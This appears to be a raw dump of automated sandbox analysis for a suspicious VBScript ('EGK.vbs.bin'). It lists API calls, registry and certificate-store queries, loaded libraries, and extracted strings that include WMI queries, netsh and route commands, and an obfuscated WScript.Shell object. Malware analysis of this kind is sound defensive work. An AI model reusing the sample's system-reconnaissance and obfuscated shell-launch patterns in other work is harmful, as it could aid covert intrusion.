with parameter 9c0000000600000001000000b11d00000200000053657276696365205061636b2031000000000000e0a31400000000000060fdffff0700000000e8fefe070000d08b3a0000000000000000000000000002000000000000000000000000000000d410e8fefe07000000e0fdffff0700000060fdffff070000e0a31400000000001e0000000000000089ce0dfdfe07000000e0fdff (UID: 00000000-00001464) "powershell.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b2031000072006f0073006f00660074002e004e00450054005c004600720061006d00650077006f0072006b00360034005c00760032002e0030002e00350030003700320037005c006d00730063006f00720077006b0073002e0064006c006c002e0032002e004d0061006e006900660065007300 (UID: 00000000-00001464) "powershell.exe" called "GetVersionExA" with parameter 940000000600000001000000b11d00000200000053657276696365205061636b2031000000000000c0e1140000000000000000000000000077181ffafe070000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000000cbf1fe070000c0e114000000000000000000 (UID: 00000000-00001464)2e:T8ec,file/memory contains long string with (Indicator: "select * from "; File: "EGK.vbs.bin") Found string "strQuery = "Select * from CIM_Datafile Where Name = '" + Replace(filename, "\", "\\") + "'"" (Indicator: "select * from "; File: "EGK.vbs.bin") Found string "strQuery = "Select * from Win32_NetworkAdapter "" (Indicator: "select * from "; File: "EGK.vbs.bin") Found string "strQuery = "Select * from WIN32_Service where Name = 'lanmanserver' AND Started = True"" (Indicator: "select * from "; File: "EGK.vbs.bin") Found string "strQuery = "Select * from WIN32_Service where Name = 'vmms' AND Started = True"" (Indicator: "select * from "; File: "EGK.vbs.bin") Found string "strQuery = "Select * from MSVM_VirtualEthernetSwitch"" (Indicator: "select * from "; File: "EGK.vbs.bin") Found string "strQuery = "Select * from MSVM_VirtualEthernetSwitchSettingData WHERE VirtualSystemIdentifier='" + switch.Name + "'"" (Indicator: "select * from "; File: "EGK.vbs.bin") Found string "strQuery = "Select * from MSVM_EthernetSwitchBandwidthData WHERE SystemName ='" + switch.Name + "'"" (Indicator: "select * from "; File: "EGK.vbs.bin") Found string "strQuery = "Select * from MSVM_EthernetSwitchHardwareOffloadData WHERE SystemName='" + switch.Name + "'"" (Indicator: "select * from "; File: "EGK.vbs.bin") Found string "strQuery = "Select * from MSVM_EthernetSwitchExtension WHERE SystemName='" + switch.Name + "'"" (Indicator: "select * from "; File: "EGK.vbs.bin") Found string "strQuery = "Select * from MSVM_EthernetSwitchPort WHERE SystemName='" + switch.Name + "'"" (Indicator: "select * from "; File: "EGK.vbs.bin") Found string "strQuery = "Select * from MSVM_EthernetSwitchPortOffloadData WHERE DeviceID='" + port.Name + "'"" (Indicator: "select * from "; File: "EGK.vbs.bin") Found string "strQuery = "Select * from MSVM_EthernetSwitchPortBandwidthData WHERE DeviceID='" + port.Name + "'"" (Indicator: "select * from "; File: "EGK.vbs.bin") Found string "strQuery = "Select * from MSVM_ComputerSystem WHERE Name='" + nic.SystemName + "'"" (Indicator: "select * from "; File: "EGK.vbs.bin") Found string "strQueryArray = Array("Select * from MSVM_SyntheticEthernetPort", "Select * from MSVM_EmulatedEthernetPort")" (Indicator: "select * from "; File: "EGK.vbs.bin")2f:T538,"WScript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "WScript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "WScript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LEVELS") "WScript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "DEFAULTLEVEL") "WScript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "SAFERFLAGS") "WScript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "POLICYSCOPE") "WScript.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LOGFILENAME") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "cmd.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "PING.EXE" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED")30:Tb60,file/memory contains long string with (Indicator: "set "; File: "EGK.vbs.bin") Found string "Set MiracastInfoFile = FSO.OpenTextFile(outputFileName, 8, True)" (Indicator: "set "; File: "EGK.vbs.bin") Found string "Set cIycKhveQtlyWzMWKwWbGoDegWcOWDJtImdnRqLhRSUOiGJWsgOCHziyDKObloWJDiovheZOOChJzHXJUGObkJzBbzKBzAKseDGAlPNylocOvICNkdUccqrIRhgNnSGu = WScript.CreateObject( "WScript.Shell" )" (Indicator: "set "; File: "EGK.vbs.bin") Found string "Set WcnInfoFile= FSO.OpenTextFile(outputFileName, 8, True)" (Indicator: "set "; File: "EGK.vbs.bin") Found string "Set shell = WScript.CreateObject( "WScript.Shell" )" (Indicator: "set "; File: "EGK.vbs.bin") Found string "Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")" (Indicator: "set "; File: "EGK.vbs.bin") Found string "Set fileProp = objWMIService.ExecQuery _" (Indicator: "set "; File: "EGK.vbs.bin") Found string "Set AdapterProp = objWMIService.ExecQuery _" (Indicator: "set "; File: "EGK.vbs.bin") Found string "Set WcnInfoFile = FSO.OpenTextFile(outputFileName, 8, True)" (Indicator: "set "; File: "EGK.vbs.bin") Found string "Set fwPolicy2 = CreateObject("HNetCfg.FwPolicy2")" (Indicator: "set "; File: "EGK.vbs.bin") Found string "Set RulesObject = fwPolicy2.Rules" (Indicator: "set "; File: "EGK.vbs.bin") Found string "Set objReg = GetObject("winmgmts:{impersonationLevel=impersonate}!\\" &_" (Indicator: "set "; File: "EGK.vbs.bin") Found string "Set objTextFile = FSO.OpenTextFile(processes, 1)" (Indicator: "set "; File: "EGK.vbs.bin") Found string "Set regEx = New RegExp" (Indicator: "set "; File: "EGK.vbs.bin") Found string "Set Matches = regEx.Execute(strIHVOutput)" (Indicator: "set "; File: "EGK.vbs.bin") Found string "Set envInfoFile = FSO.OpenTextFile(outputFileName, 8, True)" (Indicator: "set "; File: "EGK.vbs.bin") Found string "Set objWmiService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")" (Indicator: "set "; File: "EGK.vbs.bin") Found string "Set objService = objWmiService.ExecQuery (strQuery)" (Indicator: "set "; File: "EGK.vbs.bin") Found string "Set entryObject = xmlDoc.createElement(entryName)" (Indicator: "set "; File: "EGK.vbs.bin") Found string "Set objCimService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")" (Indicator: "set "; File: "EGK.vbs.bin") Found string "Set objVmmsService = objCimService.ExecQuery (strQuery)" (Indicator: "set "; File: "EGK.vbs.bin") Found string "Set xmlDoc = CreateObject("Microsoft.XMLDOM")" (Indicator: "set "; File: "EGK.vbs.bin") Found string "Set objRoot = xmlDoc.createElement("VmswitchInfo")" (Indicator: "set "; File: "EGK.vbs.bin") Found string "Set objVirtualizationService = GetObject("winmgmts:\\" & strComputer & "\root\virtualization\v2")" (Indicator: "set "; File: "EGK.vbs.bin") Found string "Set switches = objVirtualizationService.ExecQuery (strQuery)" (Indicator: "set "; File: "EGK.vbs.bin")31:T526,file/memory contains long string with (Indicator: "route PRINT"; File: "EGK.vbs.bin") file/memory contains long string with (Indicator: "netsh interface "; File: "EGK.vbs.bin") file/memory contains long string with (Indicator: "net config"; File: "EGK.vbs.bin") Found string "RunCmd "echo ROUTE PRINT:", outputFileName" (Indicator: "route PRINT"; File: "EGK.vbs.bin") Found string "RunCmd "route print", outputFileName" (Indicator: "route PRINT"; File: "EGK.vbs.bin") Found string "cmd = "cmd /c netsh interface teredo show state > " & outputFileName" (Indicator: "netsh interface "; File: "EGK.vbs.bin") Found string "cmd = "cmd /c netsh interface httpstunnel show interface >> " & outputFileName" (Indicator: "netsh interface "; File: "EGK.vbs.bin") Found string "cmd = "cmd /c netsh interface httpstunnel show statistics >> " & outputFileName" (Indicator: "netsh interface "; File: "EGK.vbs.bin") Found string "RunCmd "echo NET CONFIG RDR:", logFileName" (Indicator: "net config"; File: "EGK.vbs.bin") Found string "RunCmd "net config rdr", logFileName" (Indicator: "net config"; File: "EGK.vbs.bin") Found string "RunCmd "echo NET CONFIG SRV:", logFileName" (Indicator: "net config"; File: "EGK.vbs.bin") Found string "RunCmd "net config srv", logFileName" (Indicator: "net config"; File: "EGK.vbs.bin")32:T7d9,"powershell.exe" (Access type: "QUERY"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES"; Key: ""; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E390372A-3FAB-417F-940E-F2CD5C8F68CB}"; Key: "ENABLEDHCP"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E390372A-3FAB-417F-940E-F2CD5C8F68CB}"; Key: "REGISTRATIONENABLED"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E390372A-3FAB-417F-940E-F2CD5C8F68CB}"; Key: "REGISTERADAPTERNAME"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E390372A-3FAB-417F-940E-F2CD5C8F68CB}"; Key: "DOMAIN"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E390372A-3FAB-417F-940E-F2CD5C8F68CB}"; Key: "DHCPDOMAIN"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{846EE342-7039-11DE-9D20-806E6F6E6963}"; Key: "ENABLEDHCP"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{846EE342-7039-11DE-9D20-806E6F6E6963}"; Key: "REGISTRATIONENABLED"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{846EE342-7039-11DE-9D20-806E6F6E6963}"; Key: "REGISTERADAPTERNAME"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{846EE342-7039-11DE-9D20-806E6F6E6963}"; Key: "DOMAIN"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{846EE342-7039-11DE-9D20-806E6F6E6963}"; Key: "DHCPDOMAIN"; Value: "")33:T4ad,"powershell.exe" trying to touch file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations" "powershell.exe" trying to touch file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms" "powershell.exe" trying to touch file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\UGSX67XCXB4RLVIL5ZO0.TEMP" "powershell.exe" trying to touch file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\UGSX67XCXB4RLVIL5ZO0.temp" "powershell.exe" trying to touch file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms~RF10b0c8.TMP" "powershell.exe" trying to touch file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\CD2OWK1HUKQQ5G5TAJW7.TEMP" "powershell.exe" trying to touch file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\CD2OWK1HUKQQ5G5TAJW7.temp" "powershell.exe" trying to touch file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms~RF10ce27.TMP"34:Ta03,"powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CRLS"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CTLS"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CERTIFICATES"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CRLS"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CTLS"; Key: "") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE"; Key: "")35:T55e,"powershell.exe" (Path: "HKLM\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\AUTHROOT\AUTOUPDATE"; Key: "DISALLOWEDCERTSYNCDELTATIME") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\MY"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES"; Key: "") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\104C63D2546B8021DD105E9FBA5A8D78169F6B32"; Key: "BLOB") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\1FB86B1168EC743154062E8C9CC5B171A4B7CCB4"; Key: "BLOB") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\247106A405B288A46E70A0262717162D0903E734"; Key: "BLOB") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\27AC9369FAF25207BB2627CEFACCBE4EF9C319B8"; Key: "BLOB") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\339CDD57CFD5B141169B615FF31428782D1DA639"; Key: "BLOB") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\5AEAEE3F7F2A9449CEBAFEEC68FDD184F20124A7"; Key: "BLOB") "powershell.exe" (Path: "HKCU\SOFTWARE\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES\902EF2DEEB3C5B13EA4C3D5193629309E231AE55"; Key: "BLOB")36:T611,"WScript.exe" called "CreateDirectoryW" with parameter %LOCALAPPDATA%\Microsoft\Windows\Caches (UID: 00000000-00001268) "powershell.exe" called "CreateDirectoryW" with parameter %LOCALAPPDATA%\Microsoft\Windows\Caches (UID: 00000000-00002792) "powershell.exe" called "CreateDirectoryW" with parameter %APPDATA%\Microsoft\Windows\Recent\CustomDestinations (UID: 00000000-00002792) "powershell.exe" called "CreateDirectoryW" with parameter C:\Users\%OSUSER% (UID: 00000000-00002792) "powershell.exe" called "CreateDirectoryW" with parameter %USERPROFILE%\AppData\Roaming (UID: 00000000-00002792) "powershell.exe" called "CreateDirectoryW" with parameter %LOCALAPPDATA%\Microsoft\Windows\Caches (UID: 00000000-00003372) "powershell.exe" called "CreateDirectoryW" with parameter %APPDATA%\Microsoft\Windows\Recent\CustomDestinations (UID: 00000000-00003372) "powershell.exe" called "CreateDirectoryW" with parameter C:\Users\%OSUSER% (UID: 00000000-00003372) "powershell.exe" called "CreateDirectoryW" with parameter %USERPROFILE%\AppData\Roaming (UID: 00000000-00003372) "powershell.exe" called "CreateDirectoryW" with parameter %LOCALAPPDATA%\Microsoft\Windows\Caches (UID: 00000000-00001464) "powershell.exe" called "CreateDirectoryW" with parameter %APPDATA%\Microsoft\Windows\Recent\CustomDestinations (UID: 00000000-00001464) "powershell.exe" called "CreateDirectoryW" with parameter C:\Users\%OSUSER% (UID: 00000000-00001464) "powershell.exe" called "CreateDirectoryW" with parameter %USERPROFILE%\AppData\Roaming (UID: 00000000-00001464)37:T8d79,"WScript.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00001268) "WScript.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00001268) "WScript.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00001268) "WScript.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00001268) "WScript.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00001268) "WScript.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advapi32.dll (UID: 00000000-00001268) "WScript.exe" called "LoadLibrary" with a parameter WINTRUST.dll (UID: 00000000-00001268) "WScript.exe" called "LoadLibrary" with a parameter CRYPTSP.dll (UID: 00000000-00001268) "WScript.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00001268) "WScript.exe" called "LoadLibrary" with a parameter CRYPTBASE.dll (UID: 00000000-00001268) "WScript.exe" called "LoadLibrary" with a parameter MSISIP.DLL (UID: 00000000-00001268) "WScript.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\CRYPT32.dll (UID: 00000000-00001268) "WScript.exe" called "LoadLibrary" with a parameter imm32.dll (UID: 00000000-00001268) "WScript.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\wshext.dll (UID: 00000000-00001268) "WScript.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00001268) "WScript.exe" called "LoadLibrary" with a parameter SHELL32.dll (UID: 00000000-00001268) "WScript.exe" called "LoadLibrary" with a parameter propsys.dll (UID: 00000000-00001268) "WScript.exe" called "LoadLibrary" with a parameter comctl32.dll (UID: 00000000-00001268) "WScript.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00001268) "WScript.exe" called "LoadLibrary" with a parameter API-MS-Win-Core-LocalRegistry-L1-1-0.dll (UID: 00000000-00001268) "WScript.exe" called "LoadLibrary" with a parameter ntmarta.dll (UID: 00000000-00001268) "WScript.exe" called "LoadLibrary" with a parameter api-ms-win-downlevel-advapi32-l1-1-0.dll (UID: 00000000-00001268) "WScript.exe" called "LoadLibrary" with a parameter Secur32.dll (UID: 00000000-00001268) "WScript.exe" called "LoadLibrary" with a parameter API-MS-WIN-DOWNLEVEL-SHLWAPI-L1-1-0.DLL (UID: 00000000-00001268) "WScript.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00001268) "PING.EXE" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00003872) "PING.EXE" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00003872) "PING.EXE" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00003872) "PING.EXE" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00003872) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00002896) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00002896) "cmd.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00002896) "cmd.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00002896) "powershell.exe" called "LoadLibrary" with a parameter comctl32.dll (UID: 00000000-00002792) "powershell.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00002792) "powershell.exe" called "LoadLibrary" with a parameter SHELL32.dll (UID: 00000000-00002792) "powershell.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00002792) "powershell.exe" called "LoadLibrary" with a parameter API-MS-Win-Core-LocalRegistry-L1-1-0.dll (UID: 00000000-00002792) "powershell.exe" called "LoadLibrary" with a parameter propsys.dll (UID: 00000000-00002792) "powershell.exe" called "LoadLibrary" with a parameter ntmarta.dll (UID: 00000000-00002792) "powershell.exe" called "LoadLibrary" with a parameter PROPSYS.dll (UID: 00000000-00002792) "powershell.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00002792) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\shell32.dll (UID: 00000000-00002792) "powershell.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00002792) "powershell.exe" called "LoadLibrary" with a parameter ntshrui.dll (UID: 00000000-00002792) "powershell.exe" called "LoadLibrary" with a parameter srvcli.dll (UID: 00000000-00002792) "powershell.exe" called "LoadLibrary" with a parameter cscapi.dll (UID: 00000000-00002792) "powershell.exe" called "LoadLibrary" with a parameter slc.dll (UID: 00000000-00002792) "powershell.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00002792) "powershell.exe" called "LoadLibrary" with a parameter CRYPTBASE.dll (UID: 00000000-00002792) "powershell.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00002792) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00002792) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00002792) "powershell.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00002792) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00002792) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll (UID: 00000000-00002792) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00002792) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-0.dll (UID: 00000000-00002792) "powershell.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00002792) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v2.0.50727\mscorwks.dll (UID: 00000000-00002792) "powershell.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00002792) "powershell.exe" called "LoadLibrary" with a parameter ntdll (UID: 00000000-00002792) "powershell.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00002792) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_64\mscorlib\0478aed7fc25ae268474c704fd2a3e0f\mscorlib.ni.dll (UID: 00000000-00002792) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v2.0.50727\ole32.dll (UID: 00000000-00002792) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v2.0.50727\OLEAUT32.dll (UID: 00000000-00002792) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_64\System\9b0615d346556a8ae639dcec168731cc\System.ni.dll (UID: 00000000-00002792) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_64\Microsoft.PowerShel#\fabca41dc6cc22a902c2525408b49ab9\Microsoft.PowerShell.ConsoleH (UID: 00000000-00002792) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_64\System.Management.A#\d5ab9ebdfc2bacea66210c16fff703d2\System.Management.Automation. (UID: 00000000-00002792) "powershell.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00002792) "powershell.exe" called "LoadLibrary" with a parameter version.dll (UID: 00000000-00002792) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\System.Management.Automation.dll (UID: 00000000-00002792) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\GAC_MSIL\System\2.0.0.0__b77a5c561934e089\psapi.dll (UID: 00000000-00002792) "powershell.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00002792) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\GAC_MSIL\System\2.0.0.0__b77a5c561934e089\ntdll.dll (UID: 00000000-00002792) "powershell.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00002792) "powershell.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00002792) "powershell.exe" called "LoadLibrary" with a parameter AdvApi32.dll (UID: 00000000-00002792) "powershell.exe" called "LoadLibrary" with a parameter CRYPTSP.dll (UID: 00000000-00002792) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_64\System.Core\2706ddbd765b8a111d3083f8af88ef03\System.Core.ni.dll (UID: 00000000-00002792) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_64\Microsoft.PowerShel#\326a4488a1881b3bd8ea1e8f4dd7420f\Microsoft.PowerShell.Commands (UID: 00000000-00002792) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_64\System.Configuratio#\1e9190c7a12053ea715c8d8ef8faddd1\System.Configuration.Install. (UID: 00000000-00002792) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_64\Microsoft.WSMan.Man#\23314086651ff4d13264ef3cd19e0b4e\Microsoft.WSMan.Management.ni (UID: 00000000-00002792) "powershell.exe" called "LoadLibrary" with a parameter 